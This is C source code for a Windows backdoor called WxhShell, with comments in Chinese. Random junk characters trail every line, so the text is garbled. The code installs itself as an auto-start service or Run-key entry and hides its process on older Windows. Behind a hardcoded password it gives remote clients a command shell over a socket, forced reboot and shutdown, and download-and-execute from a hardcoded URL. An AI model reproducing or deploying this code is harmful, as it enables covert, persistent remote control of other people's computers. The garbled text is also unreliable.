    break; {15j'Qwm  
    } E C?}iP  
  // 关机 BZq#OA p  
  case 'd': { '\:4Ijp<"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ({f}Z-%  
    if(Boot(SHUTDOWN)) !`69.v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9:j?Jvw$  
    else { Z%t_1t  
    closesocket(wsh); 6FUW^dt  
    ExitThread(0); YEL0h0gn  
    } })g<I+]Hf9  
    break; ]33!obM  
    } TO wd+]B  
  // 获取shell %xt9k9=vZ  
  case 's': { "TZq")-  
    CmdShell(wsh); (lk9](;L  
    closesocket(wsh); TCr4-"`r-{  
    ExitThread(0); ^Hd[+vAvR  
    break; ( }-*irSsj  
  } HiCh:IP7>/  
  // 退出 EX8JlA\-W  
  case 'x': { %I1@{>OxG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PmR].Ohzi  
    CloseIt(wsh); inP2y?j  
    break; mH o#"tc  
    } ,7{|90'V<  
  // 离开 ~q$]iwwqT  
  case 'q': { [FFr}\}bY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0w?da~  
    closesocket(wsh); M4^G3c<  
    WSACleanup(); ? SFBUX(p  
    exit(1); 6h 0qtXn-  
    break; _`$Q6!Z)l  
        } 4TtC~#D:  
  } 3I)~;>meo  
  } (gt\R}  
Fmk:[h Mw  
  // 提示信息 'aSsyD!?<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [xS7ae  
} u3T-U_:jSV  
  } mm/\\my  
7?P'f3)fG  
  return; c<lp<{;  
} RS5<] dy  
f:o.[4p2  
// shell模块句柄 i7x&[b  
int CmdShell(SOCKET sock) "LBMpgpU  
{ rQ*+ <`R}  
STARTUPINFO si; (i "TF2U,<  
ZeroMemory(&si,sizeof(si)); fSo8O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m#"_x{oa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v%tjZ5x  
PROCESS_INFORMATION ProcessInfo; -&+:7t  
char cmdline[]="cmd"; Cbbdq%ySI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ddn IKkOp  
  return 0; u I e^Me  
} 7?.uAiM'zT  
ak(s@@k  
// 自身启动模式 -(vHy/Hz.  
int StartFromService(void) _@5Xmr  
{ :1'  
typedef struct L+t / E`  
{ 26V6Y2X  
  DWORD ExitStatus; T(!1\TB  
  DWORD PebBaseAddress; *zrT;j G  
  DWORD AffinityMask; a>4/2#J  
  DWORD BasePriority; Dri6\/0  
  ULONG UniqueProcessId; u[a-9^&g  
  ULONG InheritedFromUniqueProcessId; I?T !  
}   PROCESS_BASIC_INFORMATION; {^]qaQ[5N  
92TuuN#{  
PROCNTQSIP NtQueryInformationProcess; FFT)m^4p.  
x39tnf/F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ; 476t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Agc ss20.  
YPK@BmAdE  
  HANDLE             hProcess; rZKh}E  
  PROCESS_BASIC_INFORMATION pbi; ,!= sGUQ)  
GM|& ,}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?QP>rm  
  if(NULL == hInst ) return 0; YwVA].p@TI  
Xo PJ?6 3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {`HbpM<=m]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -rDfDdT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g=:o'W$@  
#2=l\y-#  
  if (!NtQueryInformationProcess) return 0; ~WrpJjI[  
pte\1q[N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q <}IO  
  if(!hProcess) return 0; h#1:ypA6l  
[^"}jbn/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )nd^@G^  
vJE=H9E  
  CloseHandle(hProcess); Bg|d2,im  
FSuC)Xg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fe8X@63  
if(hProcess==NULL) return 0; 3M#x)cW  
bTs2$81[  
HMODULE hMod; HT7,B(.}  
char procName[255]; 1wgL^Qz@  
unsigned long cbNeeded; v.ZUYa|  
It*U"4lgi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aB%.]bi  
s}zR@ !`  
  CloseHandle(hProcess); :3F[!y3b  
^EIuGz1@0  
if(strstr(procName,"services")) return 1; // 以服务启动 0fc;H}B*  
\Z.r Pq  
  return 0; // 注册表启动 @!;A^<{ka  
} PqspoH 0OI  
rtPo)#t  
// 主模块 %_ew{ff|  
int StartWxhshell(LPSTR lpCmdLine) W @"Rdc-  
{ Y[*.^l._  
  SOCKET wsl; |s /)lA:9  
BOOL val=TRUE; ximVh}'a  
  int port=0; m2SJ\1 J=  
  struct sockaddr_in door; A&}]:4@{  
tY$@,>2v  
  if(wscfg.ws_autoins) Install(); }$)~HmZw  
m mF0RNE  
port=atoi(lpCmdLine); gmp@ TY=:L  
rB J`=oz  
if(port<=0) port=wscfg.ws_port; G[}v?RLI  
mJ%^`mrI  
  WSADATA data; <*vR_?!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^*jwe^  
 $H*8H`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u ?V}pYX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @@ j\OR  
  door.sin_family = AF_INET; \p:)Cdn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NG3?OAQTw  
  door.sin_port = htons(port); <v1H1'gv  
Boj R"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { & n*ga$Q  
closesocket(wsl); SY95s  
return 1; "]3o93 3 D  
} 7a[6@  
zE;|MU@|  
  if(listen(wsl,2) == INVALID_SOCKET) { BMq> Cj+  
closesocket(wsl); "yymnIQ3u  
return 1; TY/'E#.  
} Pk&=\i<  
  Wxhshell(wsl); 8B ,S_0!  
  WSACleanup(); N_G&nw  
IAA_Ft  
return 0; "9s}1C;Me  
,wf_o%'eW  
}  x,: k/]  
JbEEI(Q>g  
// 以NT服务方式启动 c ,#=In2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eNfH9l2k  
{ 5H'Iul<Os  
DWORD   status = 0; ,b^Y8_ltoT  
  DWORD   specificError = 0xfffffff; 5]mH.{$x$?  
HRTNIx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qfp4}a=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^5Y<evjm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7(5d$W  
  serviceStatus.dwWin32ExitCode     = 0; ]prw=rD  
  serviceStatus.dwServiceSpecificExitCode = 0; iK2f]h  
  serviceStatus.dwCheckPoint       = 0; WiH8j$;xu  
  serviceStatus.dwWaitHint       = 0; y%|Ez  
aP(~l_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aGW O3Nk  
  if (hServiceStatusHandle==0) return; >07i"a  
!UT!PX)  
status = GetLastError(); 2V 8 "jc  
  if (status!=NO_ERROR) e O~p"d-|  
{ `pv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `D3q!e  
    serviceStatus.dwCheckPoint       = 0; M*'8$|Z  
    serviceStatus.dwWaitHint       = 0; gHgqElr(  
    serviceStatus.dwWin32ExitCode     = status; C{U*{0}  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9t`yv@.>N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ty[%:eG#  
    return; Ud"_[JtGM  
  } <|'ETqP<+  
A46dtFD{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CUB;0J(  
  serviceStatus.dwCheckPoint       = 0; 5> dA7j^v  
  serviceStatus.dwWaitHint       = 0; [cFD\"gJAr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f2tCB1[D+  
} 9~^k3!>0  
_R0O9sPTO  
// 处理NT服务事件,比如:启动、停止 nls$ wE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *QNX?8Fm_  
{ .`*;AT  
switch(fdwControl) `C7pM  
{ wBlE!Pm  
case SERVICE_CONTROL_STOP: t .&JPTK-H  
  serviceStatus.dwWin32ExitCode = 0; 4iSN.nxIZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EqHToD I3  
  serviceStatus.dwCheckPoint   = 0; Ag3+z+uS  
  serviceStatus.dwWaitHint     = 0; LD{~6RP  
  { alxIc.[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '"q+[zwv  
  } Li8/GoJW-T  
  return; UQhD8Z'I.  
case SERVICE_CONTROL_PAUSE: b4$g$()  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1A93ol=  
  break; MF$Dx| Tcj  
case SERVICE_CONTROL_CONTINUE: 'oGMr=gp<&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EWl9rF@I  
  break; ">B&dNrt  
case SERVICE_CONTROL_INTERROGATE: s o: o b}  
  break; }.u[';q ]S  
}; +-x+c: IxA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /_JR7BB^X,  
} jn]l!nm  
WCaMPz  
// 标准应用程序主函数 !9qw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &]f8Xd  
{ F:Vl\YZ  
W-D4" G@  
// 获取操作系统版本 Hl}m*9<9us  
OsIsNt=GetOsVer(); g \+!+!"~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :\mdVS!o  
<}mA>c'k  
  // 从命令行安装 U_9|ED:  
  if(strpbrk(lpCmdLine,"iI")) Install(); W`[7|8(6!  
$Q|6W &?[;  
  // 下载执行文件 TJcHqzcUc  
if(wscfg.ws_downexe) { F)l1%F Cm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PTpfa*t  
  WinExec(wscfg.ws_filenam,SW_HIDE); "T8b.ng  
} daB 5E<?  
eMOp}.zt|  
if(!OsIsNt) { ?t;,Nk`jx  
// 如果时win9x,隐藏进程并且设置为注册表启动 i*xVD`x~  
HideProc(); C9Cl$yZ  
StartWxhshell(lpCmdLine); x wfdJ(&  
} >0:=<RW  
else |+-b#Sa9  
  if(StartFromService()) Nog{w  
  // 以服务方式启动 JBV 06T_4o  
  StartServiceCtrlDispatcher(DispatchTable); G]-\$>5R  
else # b3 14  
  // 普通方式启动 ieOw&  
  StartWxhshell(lpCmdLine); FIJ]`  
(h&=N a~  
return 0; ) [)1  
} Qc Xw -  
R{B5{~m>W@  
U~|)=+%O  
:p1_ij]ND  
=========================================== 3;//o<  
P=ubCS'  
j;_E0j#  
`y"a>gHC  
3!KyO)8  
*TL3-S?   
" So NgDFD  
W Emh  
#include <stdio.h> |>JRJ"CFE  
#include <string.h> E0A[{UA   
#include <windows.h> -t*P=V|@  
#include <winsock2.h> q)"yP\  
#include <winsvc.h> M VE:JNm  
#include <urlmon.h> #E/|W T  
4SkCV  
#pragma comment (lib, "Ws2_32.lib") 0sq?>$~Kc*  
#pragma comment (lib, "urlmon.lib") ?;rRR48T9E  
9:!V":8q  
#define MAX_USER   100 // 最大客户端连接数 >(gbUW  
#define BUF_SOCK   200 // sock buffer %zjyZ{=  
#define KEY_BUFF   255 // 输入 buffer t4zKI~cO  
PTF|"^k+   
#define REBOOT     0   // 重启 {o %OG/!1  
#define SHUTDOWN   1   // 关机 R|\kk?,u  
9KL)5_6 M  
#define DEF_PORT   5000 // 监听端口 tac_MtW?  
 o^d  
#define REG_LEN     16   // 注册表键长度 m7cG ]a~a  
#define SVC_LEN     80   // NT服务名长度 fo;^Jg.  
m.yt?`  
// 从dll定义API @Bsvk9}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J32"Ytdo<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RHI?_gf&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y<ZT~e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4g+o/+6!4  
ad<ZdO*h  
// wxhshell配置信息 Xq$9H@.  
struct WSCFG { D'Kiy  
  int ws_port;         // 监听端口 q] '2'"k  
  char ws_passstr[REG_LEN]; // 口令 !imjfkG  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?KFj=Yo  
  char ws_regname[REG_LEN]; // 注册表键名 |v"&Y  
  char ws_svcname[REG_LEN]; // 服务名 ATD4 %|a9h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 opReAU'I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g|{Ru  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .V{y9e+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1VPxCB\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *)T7DN8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hIo ^/_K  
J)^Kls\> t  
}; g0s *4E  
NV18~5#</  
// default Wxhshell configuration xf3/J{n3  
struct WSCFG wscfg={DEF_PORT, &A&2z l %#  
    "xuhuanlingzhe", \lpvRZ\L&g  
    1, 9!Bz)dJ 3  
    "Wxhshell",  LII4sf]  
    "Wxhshell", s&W^?eKr  
            "WxhShell Service", XAUHF-"WE  
    "Wrsky Windows CmdShell Service", 5Kkp1K$M  
    "Please Input Your Password: ", qc/)l~]?g{  
  1, 'DB'lP  
  "http://www.wrsky.com/wxhshell.exe", ~#:R1~rh\e  
  "Wxhshell.exe" jGn2Q L  
    }; )Q~K\bJf  
E#yG}UWe  
// 消息定义模块 ]L!:/k,=S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vn.j>;E'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6P`!yBAu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CuYSvW  
char *msg_ws_ext="\n\rExit."; 9t{Iv({6p  
char *msg_ws_end="\n\rQuit."; ghaO#kI  
char *msg_ws_boot="\n\rReboot..."; 6M6r&,yRu  
char *msg_ws_poff="\n\rShutdown..."; \x~},!l  
char *msg_ws_down="\n\rSave to "; T:VFyby\w  
_sqV@ J  
char *msg_ws_err="\n\rErr!"; $_u)~O4$  
char *msg_ws_ok="\n\rOK!"; kXZG<?  
}\.Z{h:t ?  
char ExeFile[MAX_PATH]; +Y440Tz  
int nUser = 0; DP &*P/  
HANDLE handles[MAX_USER]; ~ ll+/w\4  
int OsIsNt; ByW,YKMy  
k mX:~KMb  
SERVICE_STATUS       serviceStatus;  tZN'OoZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]]V| ]}<)m  
a q]bF%7  
// 函数声明 ,M9Hdm  
int Install(void); Y'x+! &H  
int Uninstall(void); g:[yA{Eh  
int DownloadFile(char *sURL, SOCKET wsh); T3/Gl 6f  
int Boot(int flag); 0 t0m?rVW  
void HideProc(void); 8'VcaU7Nh  
int GetOsVer(void); h~.z[  
int Wxhshell(SOCKET wsl); PLQLGb4f_;  
void TalkWithClient(void *cs); 6$\'dkufQ  
int CmdShell(SOCKET sock); w*IDL0#  
int StartFromService(void); Kfs|KIQ>=  
int StartWxhshell(LPSTR lpCmdLine); VuA)Ye  
@<=<?T> 1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0`kaT ?>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K7] +. f  
*l8:%t\  
// 数据结构和表定义 t|cTl/i 4  
SERVICE_TABLE_ENTRY DispatchTable[] = _iZ9Ch\  
{ %8! }" Xa  
{wscfg.ws_svcname, NTServiceMain}, ~d&W;mef-  
{NULL, NULL} ]t.6bb4  
}; 8i?:aN[.1b  
Aw7_diK^  
// 自我安装 u*<knZ~ty  
int Install(void) J+f*D+x1  
{ [UYE.$Y#(  
  char svExeFile[MAX_PATH]; -i"?2gK  
  HKEY key; S,^)\=v  
  strcpy(svExeFile,ExeFile); r( 8!SVX  
1zJ)x?  
// 如果是win9x系统,修改注册表设为自启动 "' ]|o~B  
if(!OsIsNt) { 8G|kKpX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { = ^_4u%}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); </) HcRj'e  
  RegCloseKey(key); M%1wT9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (b;*8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "1>48Z-UC  
  RegCloseKey(key); hd_<J]C  
  return 0; FKk.BA957h  
    } nY50dFA,  
  } "/$2oYNy+  
} #'oGtFCd`  
else { H 5'Ke+4.e  
"DU1k6XC  
// 如果是NT以上系统,安装为系统服务 okQ<_1e{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J=AF`[  
if (schSCManager!=0) a X:,1^  
{ /nVGr]t_pj  
  SC_HANDLE schService = CreateService |lVoL.Z,0  
  ( _*LgpZ-2(  
  schSCManager, VL| q`n  
  wscfg.ws_svcname, - DE?L,9X9  
  wscfg.ws_svcdisp, ;n;bap  
  SERVICE_ALL_ACCESS, hScC< =W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .{ r %C4q9  
  SERVICE_AUTO_START, @_C?M5v  
  SERVICE_ERROR_NORMAL, p2uZ*sY(D  
  svExeFile, pn-`QB:{h  
  NULL, y-#01Z  
  NULL, b]xE^zM-I`  
  NULL, zpBkP-%}E  
  NULL, 2(K@V6j$M  
  NULL 8)51p+a  
  ); h YEUiQ  
  if (schService!=0) .GOF0puiM  
  { &ub0t9R  
  CloseServiceHandle(schService); @w5x;uB|%G  
  CloseServiceHandle(schSCManager); ]U)Yg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9a3mN(<  
  strcat(svExeFile,wscfg.ws_svcname); } +ZZO0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U@<]>.$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U6yZKK  
  RegCloseKey(key); E e 15Y$1  
  return 0; (bo-JOOdY(  
    } CKr5L  
  } Eu1t*>ZL  
  CloseServiceHandle(schSCManager); k;xIo(:  
} x{#W84  
} k{-#2Qz  
QeNN*@ ='i  
return 1; _ 2E*  
} #/LU@+  
+/4wioGm  
// 自我卸载 :*dfP/GO  
int Uninstall(void) .p$tb2%r  
{ {bD:OF  
  HKEY key; p^THoF'~T  
,)%$Zxng  
if(!OsIsNt) { }?^5L7n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +X|^ ~)tMJ  
  RegDeleteValue(key,wscfg.ws_regname);  "DsL$D2e  
  RegCloseKey(key); 8q_"aa,`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (~OP)F).  
  RegDeleteValue(key,wscfg.ws_regname); n>\2_$uDI  
  RegCloseKey(key); O 6Mxp -  
  return 0; m)Sdo gt_  
  } ^q)AO?_  
} B`?}jJa9*  
} }`^D O Ar  
else { LMTz/M  
uwo\FI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d_aHUmI^"  
if (schSCManager!=0) $s"{C"4q  
{ 4"~l^yK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z|6,*XEc   
  if (schService!=0) =Cg1I\  
  { L wP  
  if(DeleteService(schService)!=0) { ['jr+gIfQ  
  CloseServiceHandle(schService); -0f ,qNF  
  CloseServiceHandle(schSCManager); Zj5B}[,l\  
  return 0; Ge+T[  
  } ibn(eu<uW  
  CloseServiceHandle(schService); M" R= ;n  
  } q!4eVg*  
  CloseServiceHandle(schSCManager); ;<N%D=;}@  
} $~r_&1  
} <tT.m[qg  
}C!g x6  
return 1; :hFKmoy#  
} 3:"w"0[K3  
~Y3X*  
// 从指定url下载文件 l _gJC.  
int DownloadFile(char *sURL, SOCKET wsh) (L'|n *Cr  
{ Qs\*r@6?  
  HRESULT hr; 8"yZS)09  
char seps[]= "/"; W@FSQ8b>$m  
char *token; 0AD8X+M{P  
char *file; ,jq:%Y[KZ  
char myURL[MAX_PATH]; :b`ywSp`  
char myFILE[MAX_PATH]; 5N(OW:M  
xZ(ryE%  
strcpy(myURL,sURL); (C.<H6]=  
  token=strtok(myURL,seps); #6*20w_u  
  while(token!=NULL) iOJ5KXrAO  
  { 7^W(es  
    file=token; UAe8Ct=YJ  
  token=strtok(NULL,seps); IaT\ymm`  
  } e6gLYhf&  
OWT|F0.1$k  
GetCurrentDirectory(MAX_PATH,myFILE); P "%f8C~r  
strcat(myFILE, "\\"); Yaj}_M-  
strcat(myFILE, file); = :BTv[lv  
  send(wsh,myFILE,strlen(myFILE),0); zyP9 n[eZ  
send(wsh,"...",3,0); &>P<Zw-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UU*v5&  
  if(hr==S_OK) dCpDA a3  
return 0; i !;9A6D  
else zEk /15  
return 1; , {X}C  
qT~a`ou:  
} \wF- [']N  
W5,&*mo  
// 系统电源模块 5 BLAa1  
int Boot(int flag) J#xZ.6)  
{ y;<F|zIm  
  HANDLE hToken; K$I`&M(  
  TOKEN_PRIVILEGES tkp; XNJ3.w:R  
Z ygu/M 6  
  if(OsIsNt) { 6u>]-K5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +E-CsNAZ*"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $:RR1.Tv  
    tkp.PrivilegeCount = 1; :}z `4S@b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JFFluL=-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >Og|*g  
if(flag==REBOOT) { nzU;Bi^m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xauMF~*  
  return 0; =SD^Jl{H  
} X& mD/1  
else { H3L uRGe&2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b|e1HCH  
  return 0; 9,[A fI  
} {5]c \_.  
  } 72ZoN<c  
  else { b/?)_pg  
if(flag==REBOOT) { 2N{^V?:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4W#DLip9  
  return 0; ]=ADX}  
} RT|1M"?$  
else { .$fSWlM;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) " v<O)1QT  
  return 0; 9oYE  
} 0D Lw  
} Zc'^iDAY  
,b4oV  
return 1; uS5G(}[  
} 5W0s9yD  
0n}v"61q  
// win9x进程隐藏模块 (67byO{  
void HideProc(void) U"=Lzo.0  
{ 8u%,5GV>Xr  
nyetK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0 9qfnQG  
  if ( hKernel != NULL ) Y"L|D,ex  
  { QBh*x/J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pu5%$}dBE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IhRdn1&  
    FreeLibrary(hKernel); zf>*\pZE  
  } (eAz nTU  
~ #7@;C<nt  
return; 8@Bm2?$}g  
} pHXs+Ysw+  
P\WFm   
// 获取操作系统版本 ?) T@qn+  
int GetOsVer(void) =R<92v  
{ 6_:I~TTX  
  OSVERSIONINFO winfo; Fv*Et-8tN5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e_"m\e#N  
  GetVersionEx(&winfo); $01csj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1_};!5$.  
  return 1; 1tLEKSo+  
  else --EDr>'D5P  
  return 0; S+"Bq:u"  
} uW [yNwM  
3b|=V  
// 客户端句柄模块 Gu@C* .jj!  
int Wxhshell(SOCKET wsl) E*h!{)z@F  
{ YmpaLZJ  
  SOCKET wsh; AOJ[/YpM  
  struct sockaddr_in client; !C h1q  
  DWORD myID; ,Js-'vX  
% m"Qg<  
  while(nUser<MAX_USER) ,,!P-kK$  
{ |]9L#  
  int nSize=sizeof(client); zk"8mTg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9)t[YE:U3!  
  if(wsh==INVALID_SOCKET) return 1; @]]&^ 7  
9g\;L:'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TyjZ  
if(handles[nUser]==0) plp-[eKcD  
  closesocket(wsh); J.'%=q(Sb  
else ANNVE},  
  nUser++; fs?H  
  } )ki Gk}2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^`B;SSV  
=H3tkMoi2  
  return 0; Oi zj |'  
} z1]nC]2  
;rF[y7\  
// 关闭 socket S~hu(x#  
void CloseIt(SOCKET wsh) 6ypLE@Mk  
{ .rITzwgB  
closesocket(wsh); 1= 7ASS9  
nUser--; UhrRB  
ExitThread(0); eWN g?*/  
} CmV &+C$V%  
$wi4cHh  
// 客户端请求句柄 gO)":!_n W  
void TalkWithClient(void *cs) m[KmXPFht1  
{ JXMH7  
lx=tOfj8  
  SOCKET wsh=(SOCKET)cs; ]%y>l j?Y  
  char pwd[SVC_LEN]; 46pR!k  
  char cmd[KEY_BUFF]; 7~F~'V  
char chr[1]; ~\8(+qIv%f  
int i,j; d#]hqy  
:vX%0|  
  while (nUser < MAX_USER) { Fi67"*gE  
ZX64kk+  
if(wscfg.ws_passstr) { )UM^#<-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jw9v&/-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _Z!@#y@j  
  //ZeroMemory(pwd,KEY_BUFF); GGhk~H4OP  
      i=0; i#hFpZ6u  
  while(i<SVC_LEN) { ~ !!\#IX  
atF#0*e>  
  // 设置超时 fBctG~CJH  
  fd_set FdRead; S<-nlBs.  
  struct timeval TimeOut; 0#Lmajs  
  FD_ZERO(&FdRead); C l,vBjl h  
  FD_SET(wsh,&FdRead); R"9w VM;*c  
  TimeOut.tv_sec=8; vy *-"=J  
  TimeOut.tv_usec=0; D%nd7 |  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #CaPj:>[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PkI+z_  
DJ@n$G`^^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q[C?1Kc .z  
  pwd=chr[0]; 6[4VbIBSI  
  if(chr[0]==0xd || chr[0]==0xa) { #XA`n@2Uoo  
  pwd=0; B ~N3k  
  break; Qj;{Z*l%+  
  } Z#L4n#TT  
  i++; V^&*y+  
    } XC)9aC@s  
e1LIk1`p  
  // 如果是非法用户,关闭 socket }ePl&-9T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *=2W:,$  
} U31@++C[  
DrkTM<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  L"%SU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eu9*3'@A  
[)1vKaC  
while(1) { GPK\nz}  
1*Pxndt&  
  ZeroMemory(cmd,KEY_BUFF); / De~K+w7o  
.= ?*Wp  
      // 自动支持客户端 telnet标准   8>,w8(Nt  
  j=0; `H6~<9r  
  while(j<KEY_BUFF) { m|B=&#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0Zi+x#&d  
  cmd[j]=chr[0]; ;_)~h$1%=  
  if(chr[0]==0xa || chr[0]==0xd) { 3g;,  
  cmd[j]=0; SXZ9+<\  
  break; m]!hP^^  
  } )/%5f{+}  
  j++; +q '1P}e  
    } 26rg-?;V^  
NFZ(*v1U  
  // 下载文件 j *G: 8Lg  
  if(strstr(cmd,"http://")) { {]<c6*gQ  
